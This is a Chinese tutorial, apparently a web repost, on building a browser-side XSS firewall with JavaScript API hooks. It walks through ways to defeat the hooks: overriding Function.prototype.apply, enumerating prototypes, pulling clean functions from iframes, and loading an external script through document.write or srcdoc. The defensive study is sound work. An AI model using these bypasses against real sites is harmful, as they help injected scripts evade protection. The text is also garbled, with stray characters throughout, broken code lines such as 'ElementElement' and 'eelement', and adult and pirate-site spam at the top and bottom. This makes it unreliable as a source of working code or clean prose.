成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

針對XSS漏洞的前端防火墻:無懈可擊的鉤子

安全 應(yīng)用安全
提到鉤子程序,大家會聯(lián)想到傳統(tǒng)應(yīng)用程序里的 API Hook,以及各種外掛木馬。當(dāng)然,未必是系統(tǒng)函數(shù),任何 CPU 指令都能被改寫成跳轉(zhuǎn)指令,以實現(xiàn)先運(yùn)行自己的程序。

昨天嘗試了一系列的可疑模塊攔截試驗,盡管最終的方案還存在著一些兼容性問題,但大體思路已經(jīng)明確了:

靜態(tài)模塊:使用 MutationObserver 掃描。

動態(tài)模塊:通過 API 鉤子來攔截路徑屬性。

提到鉤子程序,大家會聯(lián)想到傳統(tǒng)應(yīng)用程序里的 API Hook,以及各種外掛木馬。當(dāng)然,未必是系統(tǒng)函數(shù),任何 CPU 指令都能被改寫成跳轉(zhuǎn)指令,以實現(xiàn)先運(yùn)行自己的程序。

無論是在哪個層面,鉤子程序的核心理念都是一樣的:無需修改已有的程序,即可先執(zhí)行我們的程序。

這是一種鏈?zhǔn)秸{(diào)用的模式。調(diào)用者無需關(guān)心上一級的細(xì)節(jié),直管用就是了,即使有額外的操作對其也是不可見的。從最底層的指令攔截,到語言層面的虛函數(shù)繼承,以及更高層次的面向切面,都帶有這類思想。

對于JavaScript 這樣靈活的語言,任何模式都可以實現(xiàn)。之前做過一個網(wǎng)頁版的變速齒輪,用的就是這類原理。

JavaScript 鉤子小試

要實現(xiàn)一個最基本的鉤子程序非常簡單,昨天已演示過了。現(xiàn)在我們再來給 setAttribute 接口實現(xiàn)一個鉤子:

  1. // 保存上級接口  
  2. var raw_fn = Element.prototype.setAttribute;  
  3.  
  4. // 勾住當(dāng)前接口  
  5. Element.prototype.setAttribute = function(name, value) {  
  6.  
  7.     // 額外細(xì)節(jié)實現(xiàn)  
  8.     if (this.tagName == 'SCRIPT' && /^src$/i.test(name)) {  
  9.         if (/xss/.test(value)) {  
  10.             if (confirm('試圖加載可疑模塊:\n\n' + url + '\n\n是否攔截?')) {  
  11.                 return;  
  12.             }  
  13.         }  
  14.     }  
  15.     raw_fn.apply(this, arguments);  
  16. };  
  17.  
  18. // 創(chuàng)建腳本  
  19. var el = document.createElement('script');  
  20. el.setAttribute('SRC', 'http://www.etherdream.com/xss/alert.js');  
  21. document.body.appendChild(el); 

Run

類似昨天的訪問器攔截,現(xiàn)在我們對 setAttribute 也進(jìn)行類似的監(jiān)控。因為它是個函數(shù),所有主流瀏覽器都兼容。

鉤子泄露

看起來似乎毫無難度,而且也沒什么不對的地方,這不就可以了嗎?

如果最終就用這代碼,那也太挫了。我們把原始接口都暴露在全局變量里了,攻擊者只要拿了這個變量,即可繞過我們的檢測代碼:

  1. var el = document.createElement('script');  
  2.  
  3. // 直接調(diào)用原始接口  
  4. raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');  
  5. document.body.appendChild(el); 

Run

靠,這不算,這只是我們測試而已。現(xiàn)實中誰會放在全局變量里呢,這年頭不套一個閉包的腳本都不好意思拿出來。

好吧,我還是放閉包里,這總安全了吧。看你怎么隔空取物,從我閉包里偷出來。

  1. (function() {  
  2.     // 保存上級接口  
  3.     var raw_fn = Element.prototype.setAttribute;  
  4.     ...  
  5. })(); 

不過,真要偷出來,那絕對是沒問題的!

這個變量唯一用到的地方就是:

  1. raw_fn.apply(this, arguments) 

這可不是一個原子操作,而是調(diào)用了 Function.prototype.apply 這個全局函數(shù)。神馬。。。這。是真的,不信你可以試試!

不用說,你也懂了。我還是說完吧:我們可以重寫 apply,然后隨便給某個元素 setAttribute 下,就可以竊聽到鉤子傳過來的 raw_fn 了。

  1. Function.prototype.apply = function() {  
  2.     console.log('哈哈,得到原始接口了:', this);  
  3. };  
  4. document.body.setAttribute('a', 1); 

Run

針對XSS漏洞的前端防火墻:無懈可擊的鉤子

這也太賤了吧,不帶這樣玩的。可人家就能用這招繞過你,又怎樣。

你會想,干脆把 Function.prototype.apply 也提前保存起來得了。然后一番折騰,你會發(fā)現(xiàn)代碼變成 apply.apply.apply.apply...

畢竟,apply 和 call 已是最底層了,沒法再 call 自己了。

這可怎么辦。顯然不能再用 apply 或 call 了,但不用它們沒法把 this 變量傳進(jìn)去啊。回想下,有哪些方法可以控制 this 的:

obj.method()

method.call(obj)

貌似也就這兩類。排除了第二種,那只剩最古老的用法了。可是我們已經(jīng)重寫了現(xiàn)有的接口,再調(diào)用自己那就遞歸溢出了。

但是,我們可以給原始接口換個名字,不就可以避免沖突了:

  1. (function() {  
  2.     // 保存上級接口  
  3.     ElementElement.prototype.__setAttribute = Element.prototype.setAttribute;  
  4.  
  5.     // 勾住當(dāng)前接口  
  6.     Element.prototype.setAttribute = function(name, value) {  
  7.         // 額外細(xì)節(jié)實現(xiàn) ...  
  8.  
  9.         // 向上調(diào)用  
  10.         this.__setAttribute(name, value);  
  11.     };  
  12. })(); 

Run

這樣倒是甩掉 apply 這個包袱了,但是無論取『__setAttribute』,還是換成其他名字,人家知道了,照樣可以拿出原始接口。所以,我們得取個復(fù)雜的名字,最好每次還都不一樣:

  1. (function() {  
  2.     // 取個霸氣的名字  
  3.     var token = '$' + Math.random();  
  4.  
  5.     // 保存上級接口  
  6.     Element.prototype[token] = Element.prototype.setAttribute;  
  7.  
  8.     // 勾住當(dāng)前接口  
  9.     Element.prototype.setAttribute = function(name, value) {  
  10.         // 額外細(xì)節(jié)實現(xiàn) ...  
  11.  
  12.         // 向上調(diào)用  
  13.         this[token](name, value);  
  14.     };  
  15. })(); 

Run

現(xiàn)在,你完全不知道我把原始接口藏在哪了,而且用 this[token](...) 這個巧妙的方法,同樣符合剛才列舉的第一類用法。

問題似乎。。。解決了。但,總感覺有什么不對勁。。。人家不知道變量藏哪了,難道不可以找嗎。把 Element.prototype 遍歷下,一個個找過去,不相信會找不到:

  1. for(var k in Element.prototype) {  
  2.     console.log(k);  
  3.  
  4.     if (k.substr(0,1) == '$') {  
  5.         console.error('樓上的,你這名字那么猥瑣,敢露個面嗎');  
  6.         console.error(Element.prototype[k]);  
  7.     }  

Run

針對XSS漏洞的前端防火墻:無懈可擊的鉤子

取了個這么拉風(fēng)的名字,就象是黑暗中的螢火蟲,瞬間給揪出來了。你會說,為什么不取個再隱蔽點的名字,甚至還可以冒充良民,把從來不用的方法給替換了。

不過,無論想怎么躲,都是徒勞的。有無數(shù)種方法可以讓你原形畢露。除非 —— 根本不能被人家枚舉到。

屬性隱身術(shù)

如果沒記錯的話,主流 JavaScript 里好像還真有什么叫enumerable、configurable 之類的東西。把它們搬出來,看看能不能賦予我們隱身功能?

馬上就試試:

  1. // 噓~ 要隱身了  
  2. Object.defineProperty(Element.prototype, token, {  
  3.     value: Element.prototype.setAttribute,  
  4.     enumerable: false  
  5. }); 

Run

神奇,紅紅的那坨字果然沒出現(xiàn)。看來真的隱身了!

到此,原函數(shù)泄露的問題,我們算是搞定了。

不過暫時還不能松懈,為什么?連 apply 都能被山寨,那還有什么可以相信的!那些正則表達(dá)式的 test 方法、字符串的大小寫轉(zhuǎn)換、數(shù)組的 forEach 等等等等,都是可以被改寫的。

要是人家把 RegExp.prototype.test 重寫了,并且總是返回 false,那么我們的策略判斷就完全失效了。

所以,我們得重復(fù)上面的步驟,把這些運(yùn)行時要用到的全局方法,都得隨機(jī)隱匿起來。

鎖死 call 和 apply

不過,隱藏一個還好,大量的代碼都用這種 Geek 的方式,顯得很是累贅。

既然能有隱身那樣神奇的魔法,難道就沒有其他類似的嗎?事實上,Object.defineProperty 里還有很多有意思的功能,除了讓屬性不可見,還能不可寫、不可刪等等。

可以讓屬性不可寫?太好了,不如干脆把 Function.prototype.call 和 apply 都事先鎖死吧,反正誰會無聊到重寫它們呢。

  1. Object.defineProperty(Function.prototype, 'call', {  
  2.     value: Function.prototype.call,  
  3.     writable: false,  
  4.     configurable: false,  
  5.     enumerable: true  
  6. });  
  7.  
  8. // apply 也一樣 

馬上看看效果:

  1. Function.prototype.call = function() {  
  2.     alert('hello');  
  3. };  
  4. console.log(Function.prototype.call); 

果然還是

  1. function call() { [native code] } 

Run

現(xiàn)在,我們大可放心的使用 call 和 apply,再也不用鼓搗那堆隨機(jī)屬性了。

不過這種隨機(jī)+隱藏的屬性,今后還是有用武之地的,常常用來給公開的對象做個秘密的記號,所以沒有白折騰。

到此,我們終于可以松口氣了。

新頁面反射

別高興的太早,真正的難題還在后面呢。

既然人家想破解,是會用盡各種手段的,并不局限于純腳本。因為這是在網(wǎng)頁里,攻擊者們還可以呼喚出各種變幻莫測的瀏覽器功能,來躲避我們。

最簡單的,就是創(chuàng)建一個框架頁面,然后通過 contentWindow 即可獲得一個全新的環(huán)境:

  1. // 反射出純凈的接口  
  2. var frm = document.createElement('iframe');  
  3. document.body.appendChild(frm);  
  4. var raw_fn = frm.contentWindow.Element.prototype.setAttribute;  
  5.  
  6. // 創(chuàng)建腳本  
  7. var el = document.createElement('script');  
  8. raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');  
  9. document.body.appendChild(el); 

Run

這時,我們的鉤子程序就被瞬間秒殺了。

盡管同源頁面之間是可以相互訪問,但其所在的環(huán)境卻是隔離的。子頁面所有的一切都是獨(dú)立的副本,完全不受主頁面影響。

不過,既然能夠訪問子頁面,顯然也能給它們的環(huán)境安裝上鉤子。每當(dāng)有新的框架元素出現(xiàn)時,我們就立即對其注入防護(hù)程序,讓用戶獲取到的 contentWindow 已是帶有鉤子的。

類似傳統(tǒng)的應(yīng)用程序,每當(dāng)調(diào)用其他程序時,安全軟件需將新創(chuàng)建的進(jìn)程加以防護(hù)。

你說會這很容易辦到。將 createElement 方法勾住,然后在里面判斷創(chuàng)建的是不是框架元素,如果是的話就直接防護(hù)子頁面,不就可以了嗎?

顯然,這是經(jīng)不起實踐的。事實上,只要測試下你就會發(fā)現(xiàn),未掛載到主節(jié)點的框架元素,contentWindow 始終是 null。也就是說,必須在調(diào)用 appendChild 之后才開始初始化子頁面。

因此,我們得借助之前研究的節(jié)點掛載事件,找到一個能在 appendChild 之后,但在用戶獲取 contentWindow 之前觸發(fā)的事件。

  1. var observer = new MutationObserver(function(mutations) {  
  2.     console.log('MutationObserver:', mutations);  
  3. });  
  4. observer.observe(document, {  
  5.     subtree: true,  
  6.     childList: true  
  7. });  
  8.  
  9. document.addEventListener('DOMNodeInserted', function(e) {  
  10.     console.log('DOMNodeInserted:', e);  
  11. }, true);  
  12.  
  13.  
  14. // 反射出純凈的接口  
  15. var frm = document.createElement('iframe');  
  16.  
  17. console.warn('begin');  
  18. document.body.appendChild(frm);  
  19. console.warn('end');  
  20.  
  21. var raw_fn = frm.contentWindow.Element.prototype.setAttribute;  
  22.  
  23. /** 輸出  
  24. begin  
  25. DOMNodeInserted  MutationEvent  
  26. end  
  27. MutationObserver:  Array[1]  
  28. MutationObserver:  Array[1]  
  29. */ 

Run

這不,DOMNodeInserted 就能滿足我們的需求。于是,我們使用它來監(jiān)控框架元素。

一旦發(fā)現(xiàn)有框架掛載到主節(jié)點上,我們趕緊把它的接口也裝上鉤子:

  1. // 我們防御系統(tǒng)  
  2. (function() {  
  3.     function installHook(window) {  
  4.         // 保存上級接口  
  5.         var raw_fn = window.Element.prototype.setAttribute;  
  6.  
  7.         // 勾住當(dāng)前接口  
  8.         window.Element.prototype.setAttribute = function(name, value) {  
  9.             // 試試  
  10.             alert(name);  
  11.  
  12.             // 向上調(diào)用  
  13.             raw_fn.apply(this, arguments);  
  14.         };  
  15.     }  
  16.     // 先保護(hù)當(dāng)前頁面  
  17.     installHook(window);  
  18.  
  19.     document.addEventListener('DOMNodeInserted', function(e) {  
  20.         var eelement = e.target;  
  21.  
  22.         // 給框架里環(huán)境也裝個鉤子  
  23.         if (element.tagName == 'IFRAME') {  
  24.             installHook(element.contentWindow);  
  25.         }  
  26.     }, true);  
  27. })();  
  28.  
  29.  
  30. // 反射出純凈的接口  
  31. var frm = document.createElement('iframe');  
  32. document.body.appendChild(frm);  
  33. var raw_fn = frm.contentWindow.Element.prototype.setAttribute;  
  34.  
  35. // 創(chuàng)建腳本  
  36. var el = document.createElement('script');  
  37. raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');  
  38. document.body.appendChild(el); 

Run

完美!對話框成功彈出來了!即使從框架頁里反射出新環(huán)境,仍然帶有我們的鉤子程序。

不過,貌似還漏了些什么。要是從框架頁里再套框架頁,我們就杯具了:

  1. // 創(chuàng)建框架頁  
  2. var frm = document.createElement('iframe');  
  3. document.body.appendChild(frm);  
  4.  
  5. // 創(chuàng)建框架頁的框架頁  
  6. var doc = frm.contentDocument;  
  7. var frm2 = doc.createElement('iframe');  
  8. doc.body.appendChild(frm2);  
  9.  
  10. // 反射接口  
  11. var raw_fn = frm2.contentWindow.Element.prototype.setAttribute;  
  12.  
  13. // 創(chuàng)建腳本  
  14. var el = document.createElement('script');  
  15. raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');  
  16. document.body.appendChild(el); 

Run

針對XSS漏洞的前端防火墻:無懈可擊的鉤子

前面說了,每個頁面環(huán)境是獨(dú)立的,主頁面是捕捉不到子頁面里的事件的。所以,框架頁里創(chuàng)建元素,我們完全不知道。

怎么破?這還不簡單,索性給框架頁也綁上 DOMNodeInserted 事件,不就可以層層監(jiān)控了嗎。無論框架的幾次方,都逃不過我們的火眼金睛了。

  1. // 我們防御系統(tǒng)  
  2. (function() {  
  3.     function installHook(window) {  
  4.         // 保存上級接口  
  5.         var raw_fn = window.Element.prototype.setAttribute;  
  6.  
  7.         // 勾住當(dāng)前接口  
  8.         window.Element.prototype.setAttribute = function(name, value) {  
  9.             // 試試  
  10.             alert(name);  
  11.  
  12.             // 向上調(diào)用  
  13.             raw_fn.apply(this, arguments);  
  14.         };  
  15.  
  16.         // 監(jiān)控當(dāng)前環(huán)境的元素  
  17.         window.document.addEventListener('DOMNodeInserted', function(e) {  
  18.             var eelement = e.target;  
  19.  
  20.             // 給框架里環(huán)境也裝個鉤子  
  21.             if (element.tagName == 'IFRAME') {  
  22.                 installHook(element.contentWindow);  
  23.             }  
  24.         }, true);  
  25.     }  
  26.  
  27.     // 先保護(hù)當(dāng)前頁面  
  28.     installHook(window);  
  29. })(); 

Run

只需簡單的小改動。我們把 DOMNodeInserted 放到 installHook 里,這樣在安裝鉤子的同時,也對當(dāng)前 window 中的元素進(jìn)行監(jiān)控。一旦出現(xiàn)框架元素,就遞歸防護(hù)。

現(xiàn)在,我們的框架頁監(jiān)控已是天衣無縫了。

新頁面逆向控制

不過,世上沒有絕對的事。

我們只考慮了正向的反射,卻忘了框架也可以逆向控制主頁面。攻擊者要是能把 XSS 腳本注入到框架頁里,同樣也可以向上修改主頁面里的內(nèi)容,發(fā)起信任攻擊。

在框架里引入腳本,方法就更多了。框架元素雖然是動態(tài)創(chuàng)建的,但其內(nèi)容可以靜態(tài)呈現(xiàn):

  1. // 創(chuàng)建框架頁  
  2. var frm = document.createElement('iframe');  
  3. document.body.appendChild(frm);  
  4.  
  5. // 靜態(tài)呈現(xiàn)  
  6. frm.contentDocument.write('<\script src=http://www.etherdream.com/xss/alert.js><\/script>'); 

Run

這只是隨便列舉了一種。事實上,HTML5 還新增一個可以直接控制框架頁內(nèi)容的屬性:srcdoc。

  1. <iframe srcdoc="<script src=http://www.etherdream.com/xss/alert.js></script>"></iframe> 

Run

并且還是在同源環(huán)境中執(zhí)行的:

  1. <iframe srcdoc="<script>parent.alert('call from frame')</script>"></iframe> 

Run

搞了半天結(jié)果還是能被繞過。

不過別灰心,經(jīng)測試,document.write 出來的內(nèi)容是可以被 MutationObserver 捕獲到的。至于 srcdoc 嘛,這個偏門的屬性完全可以把它禁掉,或者重寫訪問器,把 HTML 內(nèi)容用其他辦法代理到頁面上去。反正這又不是主流的用法,只要最終效果一樣就沒問題了。

當(dāng)然,要是在主頁面里 document.write 怎么辦?腳本確實能運(yùn)行,但不白屏了嗎。如果覺得這有風(fēng)險,可以在 DOMContentLoaded 之后,把 document.write 也屏蔽掉,以免后患。

后記

雖說魔高一尺道高一丈,但再牢固的鉤子還是有意想不到的辦法繞過的。因此我們得與時俱進(jìn),不斷修繕來強(qiáng)化防御能力。

到目前為止,我們已對腳本、框架、API 接口實現(xiàn)了主動防御。但是,具備執(zhí)行能力的元素并不止這些。

例如 Flash 就可以運(yùn)行頁面中的腳本,光是它就占用了 object,embed,param 那么多元素。

而且,API 防護(hù)鉤子并不全面,只是例舉了幾個常用的。

下一篇,我們將詳細(xì)的整理需要防護(hù)的監(jiān)控點,實現(xiàn)全方位的防護(hù)。

責(zé)任編輯:藍(lán)雨淚 來源: FEX
相關(guān)推薦

2014-06-30 14:12:09

XSSXSS漏洞前端防護(hù)

2014-06-23 09:18:22

2014-06-23 10:58:48

2014-06-24 11:46:22

2010-09-14 13:08:52

2010-09-14 10:19:39

2010-09-09 17:22:36

2021-09-06 11:46:42

Fortinet漏洞防火墻

2019-07-18 11:26:13

防火墻網(wǎng)絡(luò)安全軟件

2010-12-21 18:04:26

2011-08-12 16:06:01

2010-07-05 14:39:59

2024-12-30 12:02:29

2010-12-08 09:29:27

下一代防火墻

2022-05-16 15:35:00

漏洞黑客

2021-06-25 18:31:37

云防火墻

2025-03-18 08:00:00

2011-06-27 13:31:21

2010-05-24 17:49:56

2011-03-16 15:58:40

Iptables防火墻
點贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 69精品久久久久久 | 一区二区三区中文字幕 | 日本三级日产三级国产三级 | 91av视频| 亚洲高清视频一区 | av色站| av日韩精品| 一区二区三区日韩精品 | 99久久精品国产毛片 | 一级大片网站 | 深夜福利影院 | 亚洲精品久久久久久久久久久久久 | 精品久久久久久久久久久久 | 国产成人精品综合 | 久久综合一区 | 欧美高清视频一区 | 香蕉国产在线视频 | 91福利电影在线观看 | 成人精品一区二区 | 成人国产精品久久久 | 日韩电影免费观看中文字幕 | av大全在线 | 91在线最新 | 国产综合精品一区二区三区 | 日韩精品视频在线 | 欧美 中文字幕 | 久久国产精品偷 | 国内精品免费久久久久软件老师 | 日韩一区二区av | 成av在线| 国产成人综合网 | 精品视频免费 | 免费看国产a | 欧美在线a | 亚洲一区二区三区免费在线观看 | www国产成人免费观看视频,深夜成人网 | 在线观看第一区 | 色婷婷综合久久久中字幕精品久久 | 在线国产一区二区 | 亚洲一区 | 一道本视频|